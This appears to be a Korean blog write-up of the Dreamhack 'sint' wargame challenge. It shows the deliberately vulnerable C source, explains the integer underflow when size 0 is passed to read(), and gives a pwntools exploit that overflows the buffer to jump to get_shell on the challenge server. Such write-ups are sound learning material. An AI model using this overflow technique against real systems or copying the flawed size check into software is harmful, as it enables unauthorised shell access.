sint 풀이
2022. 5. 31. 12:25ㆍDreamhack Wargame
728x90
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
코드를 보니 alarm_handler() 함수와 initialize() 함수는 딱히 필요하지 않은 것 같습니다.
get_shell() 함수에 system("/bin/sh");가 들어있으니 이 함수의 symbol을 가져와서 활용해보겠습니다.
우선 코드가 실제로 어떻게 실행되는지 알아야 하니 natcat으로 문제 실행부터 해보겠습니다.
0~256 사이의 수, size를 입력받으면 size-1만큼 데이터를 입력받는 코드입니다.
여기서 read() 함수의 취약점이 발생하게 됩니다.
만약 size로 0을 입력하게 되면 read() 함수의 입력 크기 부분에는 -1이 들어가게 됩니다.
-1이 들어가면 integer overflow가 발생하고, 그로 인해 256보다 훨씬 더 많은 데이터를 버퍼에 넣을 수 있게 됩니다.
그렇다면 첫 번째 입력에서 Size를 0으로 넣어주고 Data에는 Payload를 넣어주면 익스가 될 것 같습니다.
[Payload]
a * (Buf Size + SFP Size) + p32(get_shell symbol)
from pwn import *
p=remote("host1.dreamhack.games",13281)
e=ELF('./sint')
gs=e.symbols['get_shell']
pay='a'*260+p32(gs)
p.recvuntil('Size: ')
p.sendline('0')
p.recvuntil('Data: ')
p.sendline(pay)
p.interactive()
728x90
'Dreamhack Wargame' 카테고리의 다른 글
baseball 풀이 (4) | 2022.10.06 |
---|---|
Basic_Forensics_1 풀이 (0) | 2022.07.23 |
patch 풀이 (0) | 2022.05.30 |
[wargame.kr] tmitter 풀이 (0) | 2022.02.03 |
login-1 풀이 (0) | 2022.01.06 |